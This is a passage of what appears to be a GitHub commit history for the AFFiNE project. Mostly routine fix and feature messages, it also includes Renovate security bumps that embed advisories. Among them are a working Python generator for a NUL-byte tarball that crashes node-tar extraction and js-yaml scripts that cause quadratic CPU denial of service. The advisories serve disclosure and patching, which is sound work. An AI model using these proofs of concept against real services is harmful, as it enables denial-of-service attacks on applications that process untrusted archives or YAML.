candidate fired: true
```
This is output of HTML PoC.
<img width="1917" height="961" alt="poc"
src="https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10"
/>
##### Impact
This does not appear to affect DOMPurify’s default configuration as a
direct sanitizer bypass.
The impact is limited to applications that:
- enable `CUSTOM_ELEMENT_HANDLING`,
- rely on `afterSanitizeElements` as a security policy layer,
- expect that hook to apply uniformly to all surviving elements,
- and have allowed custom elements that later re-inject preserved
attribute values into `innerHTML` or another HTML sink.
In that situation, the behavior can become a second-order XSS gadget
because a security-relevant attribute is removed from normal elements
but remains on allowed custom elements.
Possible fixes or mitigations might include
- ensuring that allowed custom elements also consistently pass through
`afterSanitizeElements`
- documenting clearly that elements preserved via
`CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element
hook flow as normal allowlisted elements.
#### Severity
- CVSS Score: 2.1 / 10 (Low)
- Vector String:
`CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N`
#### References
-
[https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4](https://redirect.github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4)
-
[https://github.com/cure53/DOMPurify/pull/1537](https://redirect.github.com/cure53/DOMPurify/pull/1537)
-
[
|
||
|
DarkSky
|
49625298ee |
fix(editor): kanban data refresh (#15321)
fix #15281 #### PR Dependency Tree * **PR #15321** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved row handling during group and card updates to prevent rows from remaining locked. * Preserved manual card ordering when moving cards or updating group values. * Added coverage to verify row unlocking behavior during card moves. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
1d36e2e4b2 |
feat(core): improve mobile perf (#15317)
#### PR Dependency Tree * **PR #15317** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Virtualized mobile navigation with shell navigation and interactive swipe menus; coordinated mobile back handling with interactive phases/state restoration. * Added shared auth request proxy and message-port based token handling across mobile and worker flows. * **Bug Fixes** * Hydrated remote worker error stacks for calls and observable errors. * Improved SQLite FTS/indexer and nbstore optional text handling; refined docs-search ref parsing and notification loading/retry. * **Refactor / UX** * Modal focus-preservation and pointer behavior updates; improved mobile menu controls and back gesture plugins. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
02e75862cc |
fix(core): token race condition (#15320)
fix #15318 fix #15310 #### PR Dependency Tree * **PR #15320** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Authenticated sessions are now restored automatically when the desktop app starts. * Previously saved access tokens are available immediately for recognized endpoints. * A problem initializing one saved session no longer prevents other sessions from loading. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
4b37f9d42e |
feat(editor): improve obsidian import (#15304)
fix #15290 #### PR Dependency Tree * **PR #15304** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Improved Obsidian vault imports with more reliable attachment and embedded image matching. * Supports nested vault structures and configured attachment folders. * Preserves imported folder hierarchy and organizes imported content more accurately. * **Bug Fixes** * Fixed asset resolution for attachments with nested paths or duplicate filenames. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
fd0e3bd75d |
fix(core): trash style (#15306)
fix #15259 #### PR Dependency Tree * **PR #15306** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Truncated long document titles to 64 characters in the “Move to trash” confirmation dialog, improving readability and preventing overly long modal titles. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
d0781eafce |
fix(server): share query (#15305)
fix #15283 #### PR Dependency Tree * **PR #15305** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Document metadata now consistently reports documents as not public when no applicable access policy is available. * Improved reliability of document visibility information across document listings and pagination. * **Tests** * Added coverage verifying the `public` status in document details and paginated results. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
b6b7f1eeaf |
feat(core): improve byok ux (#15303)
fix #15265 #### PR Dependency Tree * **PR #15303** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) |
||
|
Diego Vega Centeno
|
7318ef1ed4 |
fix(core): forward svg props to icon renderer (#15278)
## Problem Page reference icon is vertically misaligned because the `pageReferenceIcon` class is not applied. This is because `IconRenderer` does not forward SVG props to the underlying `AffineIconRenderer` component. ## Fix Main fix: - Forward SVG props in `getDocIconComponent`. - Add support for SVG props in `IconRenderer`. Side fixes: - Comment out color in `pageReferenceIcon` style so the icon inherits its parent color now that the class is actually applied - Remove hardcoded SVG margin used for vertical alignment. ## Before / After **Before** <img width="405" height="163" alt="before" src="https://github.com/user-attachments/assets/45c6f0c9-d2f8-4295-832a-03018cbe0bf1" /> **After** <img width="404" height="156" alt="after" src="https://github.com/user-attachments/assets/fa3f955a-b1fd-4bc1-b966-09b5b9d6a7e4" /> ## Related issues - Fixes #14978: Makes icon vertically aligned. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **Bug Fixes** - Improved icon rendering so additional display properties are correctly passed through to Affine icons. - Updated document icon components to support standard SVG properties, enabling more consistent customization. - Refined reference icon styling to allow color inheritance from surrounding UI context. - Removed unnecessary spacing beneath reference icons for cleaner alignment. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
renovate[bot]
|
927cc45c7b |
chore: bump up protobufjs version to v7.6.5 [SECURITY] (#15296)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [protobufjs](https://redirect.github.com/protobufjs/protobuf.js) | [`7.6.4` → `7.6.5`](https://renovatebot.com/diffs/npm/protobufjs/7.6.4/7.6.5) |  |  | --- ### protobufjs: Denial of Service via infinite loop in .proto option parsing [CVE-2026-59877](https://nvd.nist.gov/vuln/detail/CVE-2026-59877) / [GHSA-j3f2-48v5-ccww](https://redirect.github.com/advisories/GHSA-j3f2-48v5-ccww) <details> <summary>More information</summary> #### Details ##### Summary protobufjs parsed option names by advancing through schema tokens until it reached an `=` token, without checking for end of input. A crafted `.proto` schema that opens an option declaration but ends prematurely could cause the option parser to loop without ever terminating. This affects the reflection parsing path (`parse`, `Root.load`, `Root.loadSync`). ##### Impact An attacker who can provide or influence `.proto` schema text parsed by an application may be able to cause the parsing call to never return. Because Node.js is single-threaded, the blocked event loop prevents all other work in the process, resulting in a denial of service that persists until the process is externally terminated. Applications that only encode or decode protobuf binary data with trusted schemas are not directly affected. ##### Preconditions - The application must parse `.proto` schema text influenced by an attacker. - The schema must be parsed through APIs such as `parse`, `Root.load`, or `Root.loadSync`. - The crafted input must begin an option declaration that ends before its `=` assignment. ##### Workarounds Do not parse `.proto` schemas from untrusted sources with affected versions. If untrusted schema text must be accepted, isolate parsing in a process or worker that can be safely terminated and bound it with a timeout, so a non-returning parse call cannot deny service to the rest of the application. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww](https://redirect.github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59877](https://nvd.nist.gov/vuln/detail/CVE-2026-59877) - [https://github.com/protobufjs/protobuf.js/pull/2352](https://redirect.github.com/protobufjs/protobuf.js/pull/2352) - [ |
||
|
renovate[bot]
|
cbc63b9f73 |
chore: bump up tar version to v7.5.19 [SECURITY] (#15297)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [tar](https://redirect.github.com/isaacs/node-tar) | [`7.5.16` → `7.5.19`](https://renovatebot.com/diffs/npm/tar/7.5.16/7.5.19) |  |  | --- ### node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records [CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875) / [GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j) <details> <summary>More information</summary> #### Details ##### Summary `node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer's `await/try-catch` around `tar.x()` — it surfaces as `uncaughtException` and terminates the process. This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern. A secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed. --- ##### Root cause ##### Vulnerable sink — `src/pax.ts:157-183` PAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes: ```ts // src/pax.ts:157 const parseKVLine = (set: Record<string, unknown>, line: string) => { const n = parseInt(line, 10) if (n !== Buffer.byteLength(line) + 1) return set line = line.slice((n + ' ').length) const kv = line.split('=') const r = kv.shift() if (!r) return set const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') const v = kv.join('=') // <-- NO NUL STRIP set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) * 1000) : /^[0-9]+$/.test(v) ? +v : v // <-- v with NULs lands here return set } ``` The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between `=` and `\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`. ##### Correctly-patched cousin sink — `src/parse.ts:375-388` The equivalent code path for GNU L/K long-headers **does** strip NUL bytes: ```ts // src/parse.ts:375 case 'NextFileHasLongPath': case 'OldGnuLongPath': { const ex = this[EX] ?? Object.create(null) this[EX] = ex ex.path = this[META].replace(/\0.*/, '') // <-- NUL strip applied break } case 'NextFileHasLongLinkpath': { const ex = this[EX] || Object.create(null) this[EX] = ex ex.linkpath = this[META].replace(/\0.*/, '') // <-- NUL strip applied break } ``` The `parse.ts` fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard. ##### Downstream blast radius `entry.path` and `entry.linkpath` are consumed in: - `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir` - `src/list.ts` (no crash — listing tolerates NUL in strings) - Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path` The crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user's `await tar.x(...)` Promise rejection boundary. --- ##### Proof of Concept ##### Artifacts - `poc-null-byte-crash.tar` — 3072 bytes — PAX `path=visible.txt\x00hidden.txt` - `poc-null-linkpath-crash.tar` — 2560 bytes — PAX `linkpath=target\x00garbage` (symlink target sink) - `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps) ##### Tarball generator (minimal repro — Python 3) ```python #!/usr/bin/env python3 """Minimal PAX-NUL-injection tarball generator for node-tar PoC.""" import os def cksum(b): s = 0 for i, x in enumerate(b): s += 0x20 if 148 <= i < 156 else x return s def pad512(buf): rem = len(buf) % 512 return buf + b'\0' * (512 - rem) if rem else buf def hdr(name, size, typeflag, prefix=b'', linkpath=b''): b = bytearray(512) b[0:len(name[:100])] = name[:100] b[100:108] = b'0000644\0' b[108:116] = b'0001000\0' b[116:124] = b'0001000\0' b[124:136] = ('%011o ' % size).encode() b[136:148] = ('%011o ' % 0).encode() b[148:156] = b' ' b[156:157] = typeflag b[157:157+len(linkpath[:100])] = linkpath[:100] b[257:265] = b'ustar\x0000' b[265:270] = b'root\0' b[297:302] = b'root\0' b[329:337] = b'0000000\0' b[337:345] = b'0000000\0' b[345:345+len(prefix[:155])] = prefix[:155] s = cksum(b) b[148:156] = ('%06o\0 ' % s).encode() return bytes(b) def pax(records): body = b'' for k, v in records: kv = b' ' + k + b'=' + v + b'\n' for digits in range(1, 8): total = digits + len(kv) if len(str(total)) == digits: break body += str(total).encode() + kv return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body) out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path out += hdr(b'placeholder', 1, b'0') out += pad512(b'A') out += b'\0' * 1024 # end-of-archive open('poc.tar', 'wb').write(out) ``` ##### Reproduction ```bash ##### 1. Generate tarball python3 poc1-pax-prefix.py # writes poc.tar (3 KB) ##### 2. Install vulnerable version mkdir repro && cd repro npm init -y && npm install tar@7.5.16 ##### 3. Try to extract with documented try/catch — observe uncaught exception mkdir -p ./out node --input-type=module -e ' process.on("uncaughtException", e => { console.log("UNCAUGHT:", e.code, "-", e.message); process.exit(99); }); import("tar").then(async tar => { try { await tar.x({ file: "../poc.tar", cwd: "./out" }); console.log("NORMAL_RETURN"); } catch (e) { console.log("CAUGHT_BY_USER:", e.code); } });' ``` ##### Observed output (verified 2026-06-23 against `tar@7.5.16`) ``` UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/.../out/visible.txt\x00hidden.txt' exit: 99 ``` The exception bypasses the user's `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits. --- ##### Impact ##### Direct: remote DoS Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction: - npm registry tarball ingestion and downstream mirrors - GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains) - Container image build pipelines that unpack layer tarballs through node tooling - Backup-restore services accepting user uploads - CI artifact processors and badge generators - Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs - Cloud functions that auto-extract uploaded archives A correctly-coded consumer that does: ```js try { await tar.x({ file: req.upload.path, cwd: tmpdir }); } catch (e) { return res.status(400).json({ error: 'bad archive' }); } ``` does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot. ##### Secondary: parser-differential validator bypass (CWE-436) | Tool | Result for `path=visible.txt\x00hidden.txt` | |----------------------------|----------------------------------------------| | GNU tar (`tar -tvf`) | Lists `visible.txt` (truncated at NUL) | | `bsdtar -tvf` | Lists `visible.txt` (truncated at NUL) | | Python `tarfile.list()` | Lists `visible.txt\x00hidden.txt` (raw) | | node-tar `tar.t({file})` | Emits raw NUL-bearing path (no crash) | | node-tar `tar.x({file})` | **Crashes** (uncaught throw) | A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts. --- ##### Suggested patch Match the long-name handler in `parse.ts` — strip everything from the first NUL onward in `parseKVLine` value parsing: ```diff --- a/src/pax.ts +++ b/src/pax.ts @​@​ -173,7 +173,7 @​@​ const parseKVLine = (set: Record<string, unknown>, line: string) => { const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') - const v = kv.join('=') + const v = kv.join('=').replace(/\0.*$/, '') set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) * 1000) ``` This matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change. A defense-in-depth follow-up: add an explicit `assert(!v.includes('\0'))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren't* path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL). #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875) - [ |
||
|
renovate[bot]
|
bd3fc7c78e |
chore: bump up js-yaml version to v4.3.0 [SECURITY] (#15298)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [js-yaml](https://redirect.github.com/nodeca/js-yaml) | [`4.2.0` → `4.3.0`](https://renovatebot.com/diffs/npm/js-yaml/4.2.0/4.3.0) |  |  | --- ### JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases [CVE-2026-53550](https://nvd.nist.gov/vuln/detail/CVE-2026-53550) / [GHSA-h67p-54hq-rp68](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68) <details> <summary>More information</summary> #### Details ##### Summary A crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`<<`) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. ##### Details The issue is in merge handling inside `lib/loader.js`: - `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`. - For each element, it calls `mergeMappings(...)`. - `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key. When input is of the form: a: &a {k0:0, k1:0, ..., kK:0} b: {<<: [*a, *a, *a, ... repeated M times ...]} all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time. Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows. Relevant code path: lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge') lib/loader.js mergeMappings(...) ##### Root cause File: lib/loader.js Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode, valueNode, startLine, startLineStart, startPos) Lines: ~359-366 if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { mergeMappings(state, _result, valueNode[index], overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } } When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element is handed to mergeMappings() without deduplication. mergeMappings() then does sourceKeys = Object.keys(source); for (index = 0; index < sourceKeys.length; index += 1) { key = sourceKeys[index]; if (!_hasOwnProperty.call(destination, key)) { setProperty(destination, key, source[key]); overridableKeys[key] = true; } } Every alias reference in the sequence resolves (by design) to the SAME object via state.anchorMap. After the first merge, every subsequent merge of that same reference is a pure no-op semantically, but still performs: * one Object.keys(source) call (O(K)) * K _hasOwnProperty.call checks on the destination Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final object and all observable side effects are identical to a single merge. YAML semantics for `<<:` are idempotent and commutative over duplicate sources, so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off. ##### PoC Environment: js-yaml version: 4.1.1 Node.js: v24.5.0 Platform: arm64 macOS (reproduced consistently) Reproduction script: Create many keys in one anchored map (&a). Merge that same alias repeatedly via <<: [*a, *a, ...]. Measure parse time and compare with control payload using single merge (<<: *a). Observed repeated runs (same machine): K=M=1000, input 9,909 bytes: ~33–36 ms K=M=2000, input 20,909 bytes: ~121–123 ms K=M=4000, input 42,909 bytes: ~524–537 ms K=M=6000, input 64,909 bytes: ~1,608–1,829 ms K=M=8000, input 86,909 bytes: ~3,395–3,565 ms Control (single merge, similar key counts): K=2000: ~1–2 ms K=4000: ~3 ms K=8000: ~5 ms Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation. ##### Impact This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity). Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability. ##### Suggested fix: Dedupe the merge source list by reference before invoking mergeMappings. Any of the following are minimal and preserve YAML 1.1 merge semantics: dedupe in storeMappingPair: if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { var seen = new Set(); for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { var src = valueNode[index]; if (seen.has(src)) continue; // idempotent; skip redundant alias seen.add(src); mergeMappings(state, _result, src, overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } } #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68) - [https://nvd.nist.gov/vuln/detail/CVE-2026-53550](https://nvd.nist.gov/vuln/detail/CVE-2026-53550) - [https://github.com/advisories/GHSA-h67p-54hq-rp68](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### js-yaml: YAML merge-key chains can force quadratic CPU consumption [CVE-2026-59869](https://nvd.nist.gov/vuln/detail/CVE-2026-59869) / [GHSA-52cp-r559-cp3m](https://redirect.github.com/advisories/GHSA-52cp-r559-cp3m) <details> <summary>More information</summary> #### Details ##### Impact js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ##### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ##### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59869](https://nvd.nist.gov/vuln/detail/CVE-2026-59869) - [ |
||
|
DarkSky
|
b1abd8db54 |
fix(core): selfhosted auth handling (#15295)
fix #15284 fix #15266 fix #15268 fix #15267 #### PR Dependency Tree * **PR #15295** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) |
||
|
DarkSky
|
bb55d6fd21 |
feat(server): impl doc gc (#15282)
#### PR Dependency Tree * **PR #15282** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added automated document cleanup to reconcile missing workspace docs, delete related stored data, and recover if the doc returns. * Added effect-based follow-up reconciliation for search indexing, Copilot embeddings, and comment attachment cleanup with explicit acknowledgements. * **Bug Fixes** * Deleted-document references now persist as dangling references rather than disappearing. * Improved document deletion flow to enforce permissions and ensure authorized deletions succeed. * **Tests** * Expanded coverage for cleanup recovery, indexing/embedding reconciliation, permissions, and reference semantics. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
81df4751a3 |
fix(server): blob gc (#15280)
#### PR Dependency Tree * **PR #15280** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved workspace document discovery so documents in trashed pages are correctly included when loading workspace content. * Fixed dragging collections into Favorites, including reordering collections within Favorites. * **Tests** * Added coverage for document projection behavior and collection drag-and-drop interactions. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
renovate[bot]
|
9122cfd108 |
chore: bump up Node.js to v22.23.1 (#15277)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | patch | `22.23.0` → `22.23.1` | --- ### Release Notes <details> <summary>nodejs/node (node)</summary> ### [`v22.23.1`](https://redirect.github.com/nodejs/node/releases/tag/v22.23.1): 2026-06-23, Version 22.23.1 'Jod' (LTS), @​RafaelGSS [Compare Source](https://redirect.github.com/nodejs/node/compare/v22.23.0...v22.23.1) This release includes a fix for an unexpected behavior introduced by the recent security release (22.23.0). ##### Commits - \[[`41d2ee13be`](https://redirect.github.com/nodejs/node/commit/41d2ee13be)] - **build**: switch coverage-windows to `windows-2022` (Richard Lau) [#​63940](https://redirect.github.com/nodejs/node/pull/63940) - \[[`eaa292549e`](https://redirect.github.com/nodejs/node/commit/eaa292549e)] - **http**: avoid stream listeners on idle agent sockets (Matteo Collina) [#​64004](https://redirect.github.com/nodejs/node/pull/64004) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNjUuMSIsInVwZGF0ZWRJblZlciI6IjQzLjI2NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
DarkSky
|
d24c17f300 |
feat(core): improve auth handling (#15271)
fix #15270 fix #15260 fix #15257 #### PR Dependency Tree * **PR #15271** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) |
||
|
DarkSky
|
427db39862 | chore: update docs | ||
|
DarkSky
|
0c7be44499 | chore: cleanup logs | ||
|
DarkSky
|
a6b00a93c0 |
fix(server): mcp api visibility (#15247)
fix #15246 #### PR Dependency Tree * **PR #15247** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved consistency when issuing and validating MCP credential tokens by using a shared token prefix across issuance and parsing. * Preserved correct recognition of standard JWT-based authentication tokens. * **Tests** * Updated MCP credentials coverage to validate behavior through the HTTP API response (instead of direct controller invocation). * Adjusted workspace quota e2e setup to derive restricted limits via entitlements before reconciling quota state. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |